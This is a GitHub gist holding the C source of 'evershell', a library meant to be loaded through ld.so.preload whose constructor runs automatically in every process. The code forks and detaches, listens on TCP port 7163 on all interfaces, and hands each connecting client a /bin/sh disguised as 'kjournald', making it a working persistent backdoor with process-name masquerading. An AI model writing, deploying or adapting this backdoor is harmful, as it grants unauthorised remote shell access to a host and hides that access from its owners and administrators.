Created
February 10, 2019 03:10
-
-
Save magisterquis/a1eb271b628709b4be34510e0adeb1a3 to your computer and use it in GitHub Desktop.
Evershell, a little library that gets loaded by ld.so.preload.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* evershell.c | |
* Little library to spawn a shell | |
* By J. Stuart McMurray | |
* Created 20190109 | |
* Last Modified 20190109 | |
*/ | |
#include <sys/socket.h> | |
#include <sys/wait.h> | |
#include <netinet/in.h> | |
#include <err.h> | |
#include <fcntl.h> | |
#include <signal.h> | |
#include <stdlib.h> | |
#include <strings.h> | |
#include <unistd.h> | |
#define PORT 7163 /* Listen port */ | |
#define SHELLNAME "kjournald" /* Shell argv[0] */ | |
void handle(int lfd, int cfd); | |
__attribute__((constructor)) void | |
evershell(void) | |
{ | |
pid_t pid; | |
int i, fd; | |
int cfd, lfd; | |
socklen_t al; | |
struct sockaddr_in sa; | |
int enable; | |
/* First of two forks */ | |
switch (pid = fork()) { | |
case 0: /* Child */ | |
break; | |
case -1: /* Error */ | |
return; | |
default: /* Parent */ | |
/* Wait on the child and we're done */ | |
waitpid(pid, NULL, 0); | |
return; | |
} | |
/* In middle child */ | |
/* Close all output */ | |
for (i = 0; i <= 1024; ++i) | |
close(i); | |
if (-1 != (fd = open("/dev/null", O_RDWR))) { | |
dup2(STDIN_FILENO, fd); | |
dup2(STDOUT_FILENO, fd); | |
dup2(STDERR_FILENO, fd); | |
if (fd != STDIN_FILENO && fd != STDOUT_FILENO && | |
fd != STDERR_FILENO) | |
close(fd); | |
} | |
/* Disassociate from parent, and ignore child death */ | |
if (-1 == setsid()) | |
err(1, "setsid"); | |
if (SIG_ERR == signal(SIGCHLD, SIG_IGN)) | |
err(2, "signal"); | |
/* Fork the real process */ | |
switch (pid = fork()) { | |
case 0: /* Child */ | |
break; | |
case -1: /* Error */ | |
err(3, "fork"); /* Shouldn't work */ | |
default: /* Parent */ | |
/* Die, let the child do the work */ | |
exit(0); | |
} | |
/* In the child */ | |
/* Disassociate from parent, and ignore child death */ | |
if (-1 == setsid()) | |
err(4, "setsid"); | |
if (SIG_ERR == signal(SIGCHLD, SIG_IGN)) | |
err(5, "signal"); | |
/* Listen for a TCP connection */ | |
bzero(&sa, sizeof(sa)); | |
sa.sin_port = htons(PORT); | |
sa.sin_family = AF_INET; | |
sa.sin_addr.s_addr = INADDR_ANY; | |
if (-1 == (lfd = socket(AF_INET, SOCK_STREAM, 0))) | |
err(6, "socket"); | |
if (-1 == setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, | |
&enable, sizeof(enable))) | |
err(7, "setsockopt"); | |
if (-1 == bind(lfd, (struct sockaddr *)&sa, sizeof(sa))) | |
err(8, "bind"); | |
if (-1 == listen(lfd, 10)) | |
err(9, "listen"); | |
/* Accept connections, hook up a shell */ | |
for (;;) { | |
al = sizeof(sa); | |
if (-1 == (cfd = accept(lfd, (struct sockaddr *)&sa, &al))) | |
err(10, "accept"); | |
handle(lfd, cfd); | |
close(cfd); | |
} | |
} | |
/* | |
* handle handles a child connection on cfd, and closes the listening fd lfd. | |
*/ | |
void | |
handle(int lfd, int cfd) | |
{ | |
pid_t pid; | |
int i; | |
/* Another double-fork */ | |
switch (pid = fork()) { | |
case 0: /* Child */ | |
break; | |
case -1: /* Error */ | |
warn("fork"); /* Shouldn't work */ | |
default: /* Parent */ | |
/* Die, let the child do the work */ | |
return; | |
} | |
/* Close the listener in the child */ | |
close(lfd); | |
/* Disassociate from parent */ | |
if (-1 == setsid()) | |
err(11, "setsid"); | |
if (SIG_ERR == signal(SIGCHLD, SIG_IGN)) | |
err(5, "signal"); | |
/* Another double-fork */ | |
switch (pid = fork()) { | |
case 0: /* Child */ | |
break; | |
case -1: /* Error */ | |
err(13, "fork"); /* Shouldn't work */ | |
default: /* Parent */ | |
/* Die, let the child do the work */ | |
exit(0); | |
} | |
/* Connect stdio to the network */ | |
dup2(cfd, STDIN_FILENO); | |
dup2(cfd, STDOUT_FILENO); | |
dup2(cfd, STDERR_FILENO); | |
for (i = 3; i < 1024; i++) | |
close(i); | |
/* Spawn a shell */ | |
if (-1 == execl("/bin/sh", SHELLNAME, (char *)NULL)) | |
err(12, "execl"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment